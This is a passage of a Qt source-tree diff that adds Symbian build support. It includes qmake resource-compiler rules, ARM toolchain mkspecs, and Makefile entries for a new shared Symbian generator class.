+symbianresources.output = $$symbian_resources_RCC_DIR/${QMAKE_FILE_BASE}.rsg
+symbianresources.commands = cpp -nostdinc -undef \
+                            $$symbian_resources_INCLUDES \
+                            $$symbian_resources_DEFINES \
+                            ${QMAKE_FILE_NAME} \
+                            -o $${symbian_resources_RCC_DIR}/${QMAKE_FILE_BASE}.rpp \
+                            && rcomp -u -m045,046,047 \
+                            -s$${symbian_resources_RCC_DIR}/${QMAKE_FILE_BASE}.rpp \
+                            -o$${symbianDestdir}/${QMAKE_FILE_BASE}.rsc \
+                            -h$${symbian_resources_RCC_DIR}/${QMAKE_FILE_BASE}.rsg \
+                            -i${QMAKE_FILE_NAME}
+symbianresources.dependency_type = TYPE_C
+symbianresources.CONFIG = no_link target_predeps
+
+QMAKE_EXTRA_COMPILERS += symbianresources
+
+contains(TEMPLATE, "app"):!contains(CONFIG, "no_icon") {
+    baseTarget = $$basename(TARGET)
+    # If you change this, also see application_icon.prf
+    baseTarget = $$replace(baseTarget, " ",_)
+
+    # Make our own extra target in order to get dependencies for generated
+    # files right. This also avoids the warning about files not found.
+    symbianGenResource.target = $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
+    symbianGenResource.commands = cpp -nostdinc -undef \
+                                  $$symbian_resources_INCLUDES \
+                                  $$symbian_resources_DEFINES \
+                                  $${baseTarget}.rss \
+                                  -o $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp \
+                                  && rcomp -u -m045,046,047 \
+                                  -s$${symbian_resources_RCC_DIR}/$${baseTarget}.rpp \
+                                  -o$${symbianDestdir}/$${baseTarget}.rsc \
+                                  -h$${symbian_resources_RCC_DIR}/$${baseTarget}.rsg \
+                                  -i$${baseTarget}.rss
+    symbianGenResource.depends = $${baseTarget}.rss
+    PRE_TARGETDEPS += $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
+    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
+    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}.rpp
+    QMAKE_DISTCLEAN += $${baseTarget}.rss
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${baseTarget}.rsc
+
+    symbianGenRegResource.target = $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
+    symbianGenRegResource.commands = cpp -nostdinc -undef \
+                                     $$symbian_resources_INCLUDES \
+                                     $$symbian_resources_DEFINES \
+                                     $${baseTarget}_reg.rss \
+                                     -o $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp \
+                                     && rcomp -u -m045,046,047 \
+                                     -s$${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp \
+                                     -o$${symbianDestdir}/$${baseTarget}_reg.rsc \
+                                     -h$${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg \
+                                     -i$${baseTarget}_reg.rss
+    symbianGenRegResource.depends = $${baseTarget}_reg.rss $${symbian_resources_RCC_DIR}/$${baseTarget}.rsg
+    PRE_TARGETDEPS += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
+    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rsg
+    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${baseTarget}_reg.rpp
+    QMAKE_DISTCLEAN += $${TARGET}_reg.rss
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${TARGET}_reg.rsc
+
+    # Trick to get qmake to create the RCC_DIR for us.
+    symbianRccDirCreation.input = SOURCES
+    symbianRccDirCreation.commands =
+    symbianRccDirCreation.output = $${symbian_resources_RCC_DIR}/symbian_resource_dummy
+    symbianRccDirCreation.CONFIG = no_link combine
+
+    QMAKE_EXTRA_TARGETS += symbianGenResource symbianGenRegResource
+    QMAKE_EXTRA_COMPILERS += symbianRccDirCreation
+
+    QMAKE_DISTCLEAN += $${TARGET}.loc
+}
+
+# Generated pkg files
+
+QMAKE_DISTCLEAN += $${TARGET}_template.pkg
+
+# Pre 2.6.23 Linux kernels have a limit on the environment size that can be passed to
+# a forked process. We quite easily overstep this boundary when building big projects
+# on Symbian, and since we depend on running the system() command, this causes the build
+# to fail. Test here that system() can be successfully run. It is important that this
+# check happens as late as possible, otherwise it will not be caught.
+execve_sanity_test = $$system("echo testing")
+!contains(execve_sanity_test, "testing") {
+    error("Running system() failed. Maybe your kernel is too old? (Linux kernels need at least version 2.6.23)")
+}
diff --git a/mkspecs/features/symbian/thread.prf b/mkspecs/features/symbian/thread.prf
new file mode 100644
index 0000000..885438a
--- /dev/null
+++ b/mkspecs/features/symbian/thread.prf
@@ -0,0 +1,2 @@
+# Symbian behaves like POSIX when it comes to threads.
+include(../unix/thread.prf)
diff --git a/mkspecs/features/uic.prf b/mkspecs/features/uic.prf
index eaf373a..8ebe0ea 100644
--- a/mkspecs/features/uic.prf
+++ b/mkspecs/features/uic.prf
@@ -1,11 +1,11 @@
 
 isEmpty(QMAKE_UIC3) {
-    contains(QMAKE_HOST.os,Windows):QMAKE_UIC3 = $$[QT_INSTALL_BINS]\uic3.exe
+    contains(QMAKE_HOST.os,Windows):QMAKE_UIC3 = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}uic3.exe
     else:QMAKE_UIC3 = $$[QT_INSTALL_BINS]/uic3
 }
 
 isEmpty(QMAKE_UIC) {
-   contains(QMAKE_HOST.os,Windows):QMAKE_UIC = $$[QT_INSTALL_BINS]\uic.exe
+   contains(QMAKE_HOST.os,Windows):QMAKE_UIC = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}uic.exe
    else:QMAKE_UIC = $$[QT_INSTALL_BINS]/uic
 }
 
diff --git a/mkspecs/linux-g++-maemo/qmake.conf b/mkspecs/linux-g++-maemo/qmake.conf
index e272e72..ca201bc 100644
--- a/mkspecs/linux-g++-maemo/qmake.conf
+++ b/mkspecs/linux-g++-maemo/qmake.conf
@@ -33,7 +33,4 @@ DEFINES += QT_GL_NO_SCISSOR_TEST
 # Work round SGX 1.4 driver bug (text corrupted), modify glyph cache width:
 DEFINES += QT_DEFAULT_TEXTURE_GLYPH_CACHE_WIDTH=1024
 
-# QNetworkAccessManager to create a network session by default
-DEFINES += QT_QNAM_DEFAULT_NETWORK_SESSION
-
 load(qt_config)
diff --git a/mkspecs/symbian-abld/qmake.conf b/mkspecs/symbian-abld/qmake.conf
index 33b897d..fe9cd60 100644
--- a/mkspecs/symbian-abld/qmake.conf
+++ b/mkspecs/symbian-abld/qmake.conf
@@ -7,4 +7,4 @@
 MAKEFILE_GENERATOR	= SYMBIAN_ABLD
 option(recursive)
 
-include(../common/symbian/symbian.conf)
+include(../common/symbian/symbian-mmp.conf)
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_extra_pre_targetdep.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_extra_pre_targetdep.flm
index daf33d4..1338515 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qmake_extra_pre_targetdep.flm
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_extra_pre_targetdep.flm
@@ -10,6 +10,8 @@
 
 SINGLETON:=$(call sanitise,TARGET_$(PREDEP_TARGET))
 
+$(call makepathfor,$(PREDEP_TARGET))
+
 define qmake_extra_pre_targetdep
 EXPORT:: $(PREDEP_TARGET)
 
diff --git a/mkspecs/symbian-sbsv2/qmake.conf b/mkspecs/symbian-sbsv2/qmake.conf
index 585e645..73d3ee3 100644
--- a/mkspecs/symbian-sbsv2/qmake.conf
+++ b/mkspecs/symbian-sbsv2/qmake.conf
@@ -7,4 +7,4 @@
 MAKEFILE_GENERATOR  = SYMBIAN_SBSV2
 option(recursive)
 
-include(../common/symbian/symbian.conf)
+include(../common/symbian/symbian-mmp.conf)
diff --git a/mkspecs/symbian/linux-armcc/features/default_post.prf b/mkspecs/symbian/linux-armcc/features/default_post.prf
new file mode 100644
index 0000000..7aa1f4d
--- /dev/null
+++ b/mkspecs/symbian/linux-armcc/features/default_post.prf
@@ -0,0 +1,5 @@
+load(default_post.prf)
+
+# It is important that this config be executed last,
+# and qmake does them in reverse order.
+CONFIG = symbian_building $$CONFIG
diff --git a/mkspecs/symbian/linux-armcc/qmake.conf b/mkspecs/symbian/linux-armcc/qmake.conf
new file mode 100644
index 0000000..599e552
--- /dev/null
+++ b/mkspecs/symbian/linux-armcc/qmake.conf
@@ -0,0 +1,55 @@
+#
+# qmake configuration for symbian/linux-armcc
+#
+
+include(../../common/symbian/symbian-makefile.conf)
+
+include(../../common/armcc.conf)
+
+QMAKE_LIBS           += usrt2_2.lib dfpaeabi.dso dfprvct2_2.dso drtaeabi.dso scppnwdl.dso drtrvct2_2.dso h_t__uf.l\\(switch8.o\\)
+
+QMAKE_RVCT_LINKSTYLE = 1
+
+# notice that the middle part of the following set of vars matches the TARGET content of the libs
+
+#QMAKE_qtmain_CXXFLAGS	= --arm
+#QMAKE_QtCore_CXXFLAGS	= 
+QMAKE_QtGui_LFLAGS	= "--rw-base 0x800000"
+#QMAKE_QtDBus_CXXFLAGS	= 
+#QMAKE_QtDeclarative_CXXFLAGS	= 
+#QMAKE_QtMultimedia_CXXFLAGS	= 
+#QMAKE_QtNetwork_CXXFLAGS	= 
+#QMAKE_QtOpenGL_CXXFLAGS	= 
+#QMAKE_QtOpenVG_CXXFLAGS	= 
+#QMAKE_phonon_CXXFLAGS	= 
+#QMAKE_QtScript_CXXFLAGS	= 
+#QMAKE_QtScriptTools_CXXFLAGS	= 
+#QMAKE_QtSql_CXXFLAGS	= 
+#QMAKE_QtSvg_CXXFLAGS	= 
+#QMAKE_QtTest_CXXFLAGS	= 
+#QMAKE_QtXmlPatterns_CXXFLAGS	= 
+#QMAKE_QtXml_CXXFLAGS	= 
+QMAKE_QtWebKit_CXXFLAGS	=  --arm
+# Move RW-section base address to start from 0xE00000 instead of the toolchain default 0x400000.
+QMAKE_QtWebKit_LFLAGS	=  --rw-base 0xE00000
+
+QMAKE_CFLAGS		+= --dllimport_runtime --preinclude rvct2_2.h  --diag_suppress 186,654,1300 --thumb --fpu softvfp --cpu 5T --enum_is_int -Ono_known_library --fpmode ieee_no_fenv --export_all_vtbl --no_vfe --apcs /inter $$QMAKE_CFLAGS.ARMCC
+QMAKE_CXXFLAGS		+= $$QMAKE_CFLAGS --no_parse_templates $$QMAKE_CXXFLAGS.ARMCC
+QMAKE_LFLAGS      	+=  --symver_soname --diag_suppress 6331,6780 --bpabi --reloc --datacompressor=off --split --dll --no_scanlib
+QMAKE_LFLAGS_APP        += --entry _E32Startup
+QMAKE_LFLAGS_SHLIB      += --entry _E32Dll
+QMAKE_LFLAGS_PLUGIN     += $$QMAKE_LFLAGS_SHLIB
+
+DEFINES		+= EKA2 \
+                   __ARMCC__ \
+                   __ARMcc_2__ \
+                   __ARMCC_2_2__
+
+QMAKE_LIBDIR += $${EPOCROOT}epoc32/release/armv5/lib
+QMAKE_LIBDIR *= $$(RVCT22LIB)
+
+INCLUDEPATH = $${EPOCROOT}epoc32/include \
+    $${EPOCROOT}epoc32/include/rvct2_2 \
+    $${EPOCROOT}epoc32/include/variant \
+    $${EPOCROOT}epoc32/include/stdapis \
+    $$INCLUDEPATH
diff --git a/mkspecs/symbian/linux-armcc/qplatformdefs.h b/mkspecs/symbian/linux-armcc/qplatformdefs.h
new file mode 100644
index 0000000..db67648
--- /dev/null
+++ b/mkspecs/symbian/linux-armcc/qplatformdefs.h
@@ -0,0 +1 @@
+#include "../../common/symbian/qplatformdefs.h"
diff --git a/mkspecs/symbian/linux-gcce/features/default_post.prf b/mkspecs/symbian/linux-gcce/features/default_post.prf
new file mode 100644
index 0000000..7aa1f4d
--- /dev/null
+++ b/mkspecs/symbian/linux-gcce/features/default_post.prf
@@ -0,0 +1,5 @@
+load(default_post.prf)
+
+# It is important that this config be executed last,
+# and qmake does them in reverse order.
+CONFIG = symbian_building $$CONFIG
diff --git a/mkspecs/symbian/linux-gcce/qmake.conf b/mkspecs/symbian/linux-gcce/qmake.conf
new file mode 100644
index 0000000..c75e46e
--- /dev/null
+++ b/mkspecs/symbian/linux-gcce/qmake.conf
@@ -0,0 +1,95 @@
+#
+# qmake configuration for symbian/linux-gcce
+#
+
+include(../../common/symbian/symbian-makefile.conf)
+
+include(../../common/g++.conf)
+
+QMAKE_CC		= arm-none-symbianelf-gcc
+QMAKE_CXX		= arm-none-symbianelf-g++
+QMAKE_LINK		= arm-none-symbianelf-ld
+QMAKE_LINK_SHLIB	= arm-none-symbianelf-ld
+QMAKE_LINK_C		= arm-none-symbianelf-ld
+QMAKE_LINK_C_SHLIB	= arm-none-symbianelf-ld
+QMAKE_AR		= arm-none-symbianelf-ar cqs
+
+# gcce defaults to 'arm' instruction set.  Lets use the better 'thumb' if possible
+# notice that the middle part of the following set of vars matches the TARGET content of the libs
+
+QMAKE_qtmain_CXXFLAGS	= -mthumb
+QMAKE_QtCore_CXXFLAGS	= -mthumb
+QMAKE_QtGui_LFLAGS	= -Ttext 0x8000 -Tdata 0xE00000
+QMAKE_QtDBus_CXXFLAGS	= -mthumb
+QMAKE_QtDeclarative_CXXFLAGS	= -mthumb
+QMAKE_QtMultimedia_CXXFLAGS	= -mthumb
+QMAKE_QtNetwork_CXXFLAGS	= -mthumb
+QMAKE_QtOpenGL_CXXFLAGS	= -mthumb
+QMAKE_QtOpenVG_CXXFLAGS	= -mthumb
+QMAKE_phonon_CXXFLAGS	= -mthumb
+QMAKE_QtScript_CXXFLAGS	= -mthumb
+QMAKE_QtScriptTools_CXXFLAGS	= -mthumb
+QMAKE_QtSql_CXXFLAGS	= -mthumb
+QMAKE_QtSvg_CXXFLAGS	= -mthumb
+QMAKE_QtTest_CXXFLAGS	= -mthumb
+QMAKE_QtXmlPatterns_CXXFLAGS	= -mthumb
+QMAKE_QtXml_CXXFLAGS	= -mthumb
+#TODO fails with; arm-none-symbianelf-ld: section .data loaded at [00e00000,00e05973] overlaps section .text loaded at [00008000,00fe748b]
+QMAKE_QtWebKit_LFLAGS	= -Ttext 0x8000 -Tdata 0xE00000
+
+# never use -fPIC, gcce-linker doesn't like it.
+# g++ conf above adds it if the host platform is 64 bit, so we remove it again
+QMAKE_CFLAGS_SHLIB	-= -fPIC
+QMAKE_CFLAGS_STATIC_LIB	-= -fPIC
+QMAKE_CXXFLAGS_SHLIB	-= -fPIC
+QMAKE_CXXFLAGS_STATIC_LIB	-= -fPIC
+
+QMAKE_LFLAGS_SONAME	=
+#QMAKE_LFLAGS_THREAD	+=
+#QMAKE_LFLAGS_NOUNDEF	+= -Wl,--no-undefined
+QMAKE_RPATH		= --rpath=
+
+DEFINES		+= __GCCE__ \
+                   UNICODE \
+                   _STLP_NO_EXCEPTION_HEADER
+
+QMAKE_LFLAGS_APP        += --entry=_E32Startup -u _E32Startup
+QMAKE_LFLAGS_SHLIB      += --default-symver --entry _E32Dll
+QMAKE_LFLAGS_PLUGIN     += $$QMAKE_LFLAGS_SHLIB
+
+gcceExtraFlags = --include=${EPOCROOT}/epoc32/include/gcce/gcce.h -march=armv5t -mapcs -mthumb-interwork -nostdinc -c -msoft-float -T script
+QMAKE_CFLAGS += $${gcceExtraFlags}
+QMAKE_CXXFLAGS += $${gcceExtraFlags} -x c++ -fexceptions -fno-unit-at-a-time -fvisibility-inlines-hidden
+#If we are not going to link to Qt or qtmain.lib, we need to include this at least once.
+isEmpty(QT):contains(TEMPLATE, app) {
+    QMAKE_CXXFLAGS += --include=${EPOCROOT}/epoc32/include/stdapis/staticlibinit_gcce.h
+}
+
+QMAKE_LFLAGS += --target1-abs \
+                --no-undefined \
+                --nostdlib
+
+QMAKE_LIBDIR	+= ${EPOCROOT}/epoc32/release/armv5/udeb/
+
+# g++ knows the path to the gcc-shipped-libs, ld doesn't. So cache the full path in the generate Makefile
+QMAKE_GCC_SEARCH_DIRS =$$system($$QMAKE_CXX -print-search-dirs)
+for(line, QMAKE_GCC_SEARCH_DIRS) {
+    contains(line, "libraries:") {
+        foundIt="1"
+    } else {
+        contains(foundIt, "1") {
+            QMAKE_LFLAGS += $$replace(line, "[=:]", " -L")
+        }
+    }
+}
+
+QMAKE_LIBDIR += $${EPOCROOT}epoc32/release/armv5/lib
+
+INCLUDEPATH = ${EPOCROOT}epoc32/include/ \
+    $${EPOCROOT}epoc32/include/variant \
+    $${EPOCROOT}epoc32/include/stdapis \
+    $${EPOCROOT}epoc32/include/gcce \
+    ${EPOCROOT}epoc32/include/stdapis/sys \
+    ${EPOCROOT}epoc32/include/stdapis/stlport \
+    $$INCLUDEPATH
+
diff --git a/mkspecs/symbian/linux-gcce/qplatformdefs.h b/mkspecs/symbian/linux-gcce/qplatformdefs.h
new file mode 100644
index 0000000..4a658c5
--- /dev/null
+++ b/mkspecs/symbian/linux-gcce/qplatformdefs.h
@@ -0,0 +1,2 @@
+#include "../../common/symbian/qplatformdefs.h"
+
diff --git a/projects.pro b/projects.pro
index 19a5ff8..fc7db1d 100644
--- a/projects.pro
+++ b/projects.pro
@@ -48,7 +48,7 @@ for(PROJECT, $$list($$lower($$unique(QT_BUILD_PARTS)))) {
        contains(QT_BUILD_PARTS, tools) {
           include(translations/translations.pri)  # ts targets
        } else {
-          !wince*:!symbian:SUBDIRS += tools/linguist/lrelease
+          !wince*:SUBDIRS += tools/linguist/lrelease
        }
        SUBDIRS += translations                    # qm build step
     } else:isEqual(PROJECT, qmake) {
diff --git a/qmake/Makefile.unix b/qmake/Makefile.unix
index c101626..875b9d1 100644
--- a/qmake/Makefile.unix
+++ b/qmake/Makefile.unix
@@ -11,8 +11,7 @@ OBJS=project.o property.o main.o makefile.o unixmake2.o unixmake.o  \
      meta.o makefiledeps.o metamakefile.o xmloutput.o pbuilder_pbx.o \
      borland_bmake.o msvc_vcproj.o msvc_nmake.o msvc_objectmodel.o \
      symmake.o initprojectdeploy_symbian.o symmake_abld.o symmake_sbsv2.o \
-     registry.o \
-     epocroot.o
+     symbiancommon.o registry.o epocroot.o
 
 #qt code
 QOBJS=qtextcodec.o qutfcodec.o qstring.o qtextstream.o qiodevice.o qmalloc.o qglobal.o \
@@ -37,6 +36,7 @@ DEPEND_SRC=project.cpp property.cpp meta.cpp main.cpp generators/makefile.cpp ge
 	   $(SOURCE_PATH)/tools/shared/windows/registry.cpp \
 	   $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp \
 	   generators/symbian/symmake_abld.cpp generators/symbian/symmake_sbsv2.cpp \
+           generaters/symbian/symbiancommon.cpp \
 	   $(SOURCE_PATH)/src/corelib/codecs/qtextcodec.cpp $(SOURCE_PATH)/src/corelib/codecs/qutfcodec.cpp \
 	   $(SOURCE_PATH)/src/corelib/tools/qstring.cpp $(SOURCE_PATH)/src/corelib/io/qfile.cpp \
 	   $(SOURCE_PATH)/src/corelib/io/qtextstream.cpp $(SOURCE_PATH)/src/corelib/io/qiodevice.cpp \
@@ -235,7 +235,7 @@ option.o: option.cpp option.h $(BUILD_PATH)/src/corelib/global/qconfig.cpp
 qcryptographichash.o:  $(SOURCE_PATH)/src/corelib/tools/qcryptographichash.cpp
 	$(CXX) -c -o $@ $(CXXFLAGS) $(SOURCE_PATH)/src/corelib/tools/qcryptographichash.cpp
 
-metamakefile.o: generators/metamakefile.cpp
+metamakefile.o: generators/metamakefile.cpp generators/symbian/symbian_makefile.h
 	$(CXX) -c -o $@ $(CXXFLAGS) generators/metamakefile.cpp
 
 xmloutput.o: generators/xmloutput.cpp
@@ -280,6 +280,9 @@ symmake_abld.o: generators/symbian/symmake_abld.cpp
 symmake_sbsv2.o: generators/symbian/symmake_sbsv2.cpp
 	$(CXX) -c -o $@ $(CXXFLAGS) generators/symbian/symmake_sbsv2.cpp
 
+symbiancommon.o: generators/symbian/symbiancommon.cpp
+	$(CXX) -c -o $@ $(CXXFLAGS) generators/symbian/symbiancommon.cpp
+
 initprojectdeploy_symbian.o: generators/symbian/initprojectdeploy_symbian.cpp
 	$(CXX) -c -o $@ $(CXXFLAGS) generators/symbian/initprojectdeploy_symbian.cpp
 
diff --git a/qmake/Makefile.win32 b/qmake/Makefile.win32
index a598350..63156b3 100644
--- a/qmake/Makefile.win32
+++ b/qmake/Makefile.win32
@@ -77,9 +77,7 @@ OBJS        = project.obj main.obj makefile.obj unixmake.obj unixmake2.obj mingw
               makefiledeps.obj metamakefile.obj xmloutput.obj pbuilder_pbx.obj \
               borland_bmake.obj msvc_nmake.obj msvc_vcproj.obj \
               msvc_objectmodel.obj symmake.obj initprojectdeploy_symbian.obj \
-              registry.obj \
-              epocroot.obj \
-              symmake_abld.obj symmake_sbsv2.obj
+              symmake_abld.obj symmake_sbsv2.obj symbiancommon.obj registry.obj epocroot.obj
 
 !IFDEF QMAKE_OPENSOURCE_EDITION
 CFLAGS      = $(CFLAGS) -DQMAKE_OPENSOURCE_EDITION
@@ -200,6 +198,7 @@ clean::
 	-del symmake.obj
 	-del symmake_abld.obj
 	-del symmake_sbsv2.obj
+        -del symbiancommon.obj
 	-del initprojectdeploy_symbian.obj
 	-del registry.obj
 	-del epocroot.obj
@@ -396,6 +395,9 @@ symmake_abld.obj: $(SOURCE_PATH)/qmake/generators/symbian/symmake_abld.cpp
 symmake_sbsv2.obj: $(SOURCE_PATH)/qmake/generators/symbian/symmake_sbsv2.cpp
 	$(CXX) $(CXXFLAGS) generators/symbian/symmake_sbsv2.cpp
 
+symbiancommon.obj: $(SOURCE_PATH)/qmake/generators/symbian/symbiancommon.cpp
+	$(CXX) $(CXXFLAGS) generators/symbian/symbiancommon.cpp
+
 initprojectdeploy_symbian.obj: $(SOURCE_PATH)/qmake/generators/symbian/initprojectdeploy_symbian.cpp
 	$(CXX) $(CXXFLAGS) generators/symbian/initprojectdeploy_symbian.cpp
 
@@ -432,7 +434,7 @@ pbuilder_pbx.obj: $(SOURCE_PATH)/qmake/generators/mac/pbuilder_pbx.cpp
 makefiledeps.obj: $(SOURCE_PATH)/qmake/generators/makefiledeps.cpp
 	$(CXX) $(CXXFLAGS) generators/makefiledeps.cpp
 
-metamakefile.obj: $(SOURCE_PATH)/qmake/generators/metamakefile.cpp
+metamakefile.obj: $(SOURCE_PATH)/qmake/generators/metamakefile.cpp $(SOURCE_PATH)/qmake/generators/symbian/symbiancommon.obj
 	$(CXX) $(CXXFLAGS) generators/metamakefile.cpp
 
 xmloutput.obj: $(SOURCE_PATH)/qmake/generators/xmloutput.cpp
diff --git a/qmake/Makefile.win32-g++ b/qmake/Makefile.win32-g++
index 27ae27b..ab7d558 100644
--- a/qmake/Makefile.win32-g++
+++ b/qmake/Makefile.win32-g++
@@ -39,9 +39,7 @@ OBJS        = project.o main.o makefile.o unixmake.o unixmake2.o mingw_make.o \
               makefiledeps.o metamakefile.o xmloutput.o pbuilder_pbx.o \
               borland_bmake.o msvc_nmake.o msvc_vcproj.o \
               msvc_objectmodel.o symmake.o initprojectdeploy_symbian.o \
-              registry.o \
-              epocroot.o \
-              symmake_abld.o symmake_sbsv2.o
+              symmake_abld.o symmake_sbsv2.o symbiancommon.o registry.o epocroot.o
 
 ifdef QMAKE_OPENSOURCE_EDITION
 CFLAGS      += -DQMAKE_OPENSOURCE_EDITION
@@ -275,6 +273,9 @@ symmake_abld.o: $(SOURCE_PATH)/qmake/generators/symbian/symmake_abld.cpp
 symmake_sbsv2.o: $(SOURCE_PATH)/qmake/generators/symbian/symmake_sbsv2.cpp
 	$(CXX) $(CXXFLAGS) generators/symbian/symmake_sbsv2.cpp
 
+symbiancommon.o: $(SOURCE_PATH)/qmake/generators/symbian/symbiancommon.cpp
+	$(CXX) $(CXXFLAGS) generators/symbian/symbiancommon.cpp
+
 initprojectdeploy_symbian.o: $(SOURCE_PATH)/qmake/generators/symbian/initprojectdeploy_symbian.cpp
 	$(CXX) $(CXXFLAGS) generators/symbian/initprojectdeploy_symbian.cpp
 
@@ -308,7 +309,7 @@ pbuilder_pbx.o: $(SOURCE_PATH)/qmake/generators/mac/pbuilder_pbx.cpp
 makefiledeps.o: $(SOURCE_PATH)/qmake/generators/makefiledeps.cpp
 	$(CXX) $(CXXFLAGS) generators/makefiledeps.cpp
 
-metamakefile.o: $(SOURCE_PATH)/qmake/generators/metamakefile.cpp
+metamakefile.o: $(SOURCE_PATH)/qmake/generators/metamakefile.cpp $(SOURCE_PATH)/qmake/generators/symbian/symbian_makefile.h
 	$(CXX) $(CXXFLAGS) generators/metamakefile.cpp
 
 xmloutput.o: $(SOURCE_PATH)/qmake/generators/xmloutput.cpp
diff --git a/qmake/Makefile.win32-g++-sh b/qmake/Makefile.win32-g++-sh
index f7b486f..755d046 100644
--- a/qmake/Makefile.win32-g++-sh
+++ b/qmake/Makefile.win32-g++-sh
@@ -39,9 +39,7 @@ OBJS        = project.o main.o makefile.o unixmake.o unixmake2.o mingw_make.o \
               makefiledeps.o metamakefile.o xmloutput.o pbuilder_pbx.o \
               borland_bmake.o msvc_nmake.o msvc_vcproj.o \
               msvc_objectmodel.o symmake.o initprojectdeploy_symbian.o \
-              registry.o \
-              epocroot.o \
-              symmake_abld.o symmake_sbsv2.o
+              symmake_abld.o symmake_sbsv2.o symbiancommon.o registry.o epocroot.o
 
 ifdef QMAKE_OPENSOURCE_EDITION
 CFLAGS      += -DQMAKE_OPENSOURCE_EDITION
@@ -274,6 +272,9 @@ symmake_abld.o: $(SOURCE_PATH)/qmake/generators/symbian/symmake_abld.cpp
 symmake_sbsv2.o: $(SOURCE_PATH)/qmake/generators/symbian/symmake_sbsv2.cpp
 	$(CXX) $(CXXFLAGS) generators/symbian/symmake_sbsv2.cpp
 
+symbiancommon.o: $(SOURCE_PATH)/qmake/generators/symbian/symbiancommon.cpp
+	$(CXX) $(CXXFLAGS) generators/symbian/symbiancommon.cpp
+
 initprojectdeploy_symbian.o: $(SOURCE_PATH)/qmake/generators/symbian/initprojectdeploy_symbian.cpp
 	$(CXX) $(CXXFLAGS) generators/symbian/initprojectdeploy_symbian.cpp
 
@@ -307,7 +308,7 @@ pbuilder_pbx.o: $(SOURCE_PATH)/qmake/generators/mac/pbuilder_pbx.cpp
 makefiledeps.o: $(SOURCE_PATH)/qmake/generators/makefiledeps.cpp
 	$(CXX) $(CXXFLAGS) generators/makefiledeps.cpp
 
-metamakefile.o: $(SOURCE_PATH)/qmake/generators/metamakefile.cpp
+metamakefile.o: $(SOURCE_PATH)/qmake/generators/metamakefile.cpp $(SOURCE_PATH)/qmake/generators/symbian/symbian_makefile.h
 	$(CXX) $(CXXFLAGS) generators/metamakefile.cpp
 
 xmloutput.o: $(SOURCE_PATH)/qmake/generators/xmloutput.cpp
diff --git a/qmake/generators/makefile.cpp b/qmake/generators/makefile.cpp
index b9d2445..29a2422 100644
--- a/qmake/generators/makefile.cpp
+++ b/qmake/generators/makefile.cpp
@@ -1245,7 +1245,8 @@ MakefileGenerator::writeInstalls(QTextStream &t, const QString &installs, bool n
                 }
                 if(!dirstr.endsWith(Option::dir_sep))
                     dirstr += Option::dir_sep;
-                if(exists(wild)) { //real file
+                bool is_target = (wild == fileFixify(var("TARGET"), FileFixifyAbsolute));
+                if(is_target || exists(wild)) { //real file or target
                     QString file = wild;
                     QFileInfo fi(fileInfo(wild));
                     if(!target.isEmpty())
@@ -1259,7 +1260,7 @@ MakefileGenerator::writeInstalls(QTextStream &t, const QString &installs, bool n
                     QString cmd;
                     if (fi.isDir())
                        cmd = "-$(INSTALL_DIR)";
-                    else if (fi.isExecutable())
+                    else if (is_target || fi.isExecutable())
                        cmd = "-$(INSTALL_PROGRAM)";
                     else
                        cmd = "-$(INSTALL_FILE)";
diff --git a/qmake/generators/makefile.h b/qmake/generators/makefile.h
index addb1f5..4c3be3d 100644
--- a/qmake/generators/makefile.h
+++ b/qmake/generators/makefile.h
@@ -249,6 +249,39 @@ public:
     virtual bool openOutput(QFile &, const QString &build) const;
     virtual bool isWindowsShell() const { return Option::host_mode == Option::HOST_WIN_MODE; }
     virtual bool isForSymbianSbsv2() const { return false; } // FIXME: killme - i'm ugly!
+
+    /* The next one is to avoid having SymbianCommonGenerator as a virtually
+       inherited class of this class. Instead it is without a base class
+       (avoiding the virtual inheritance problem), and is allowed to use
+       functions defined in here.
+
+       To illustrate:
+                               +-------------------+
+                               | MakefileGenerator |
+                               +-------------------+
+                                 ^            ^
+                                 |            |
+                                 |            X <-- Avoid this inheritance
+                                 |            |
+              +------------------------+  +------------------------+
+              | UnixMakefileGenerator  |  | SymbianCommonGenerator |
+              |         or             |  |                        |
+              | NmakeMakefileGenerator |  |                        |
+              +------------------------+  +------------------------+
+                                 ^            ^
+                                 |            |
+                                 |            |
+                                 |            |
+                           +-----------------------------+
+                           | SymbianMakefileTemplate<>   |
+                           +-----------------------------+
+
+       We want to avoid the famous diamond problem, because if we have that, we need
+       virtual inheritance, which not all compilers like. Therefore, we break the
+       link as illustrated. Instead, we have a pointer to MakefileGenerator inside
+       SymbianCommonGenerator, and allows full access by making it a friend here.
+    */
+    friend class SymbianCommonGenerator;
 };
 
 inline void MakefileGenerator::setNoIO(bool o)
diff --git a/qmake/generators/metamakefile.cpp b/qmake/generators/metamakefile.cpp
index bc8927c..c42a837 100644
--- a/qmake/generators/metamakefile.cpp
+++ b/qmake/generators/metamakefile.cpp
@@ -58,6 +58,8 @@ MetaMakefileGenerator::~MetaMakefileGenerator()
         delete project;
 }
 
+#ifndef QT_QMAKE_PARSER_ONLY
+
 class BuildsMetaMakefileGenerator : public MetaMakefileGenerator
 {
 private:
@@ -443,6 +445,7 @@ QT_BEGIN_INCLUDE_NAMESPACE
 #include "msvc_vcproj.h"
 #include "symmake_abld.h"
 #include "symmake_sbsv2.h"
+#include "symbian_makefile.h"
 QT_END_INCLUDE_NAMESPACE
 
 MakefileGenerator *
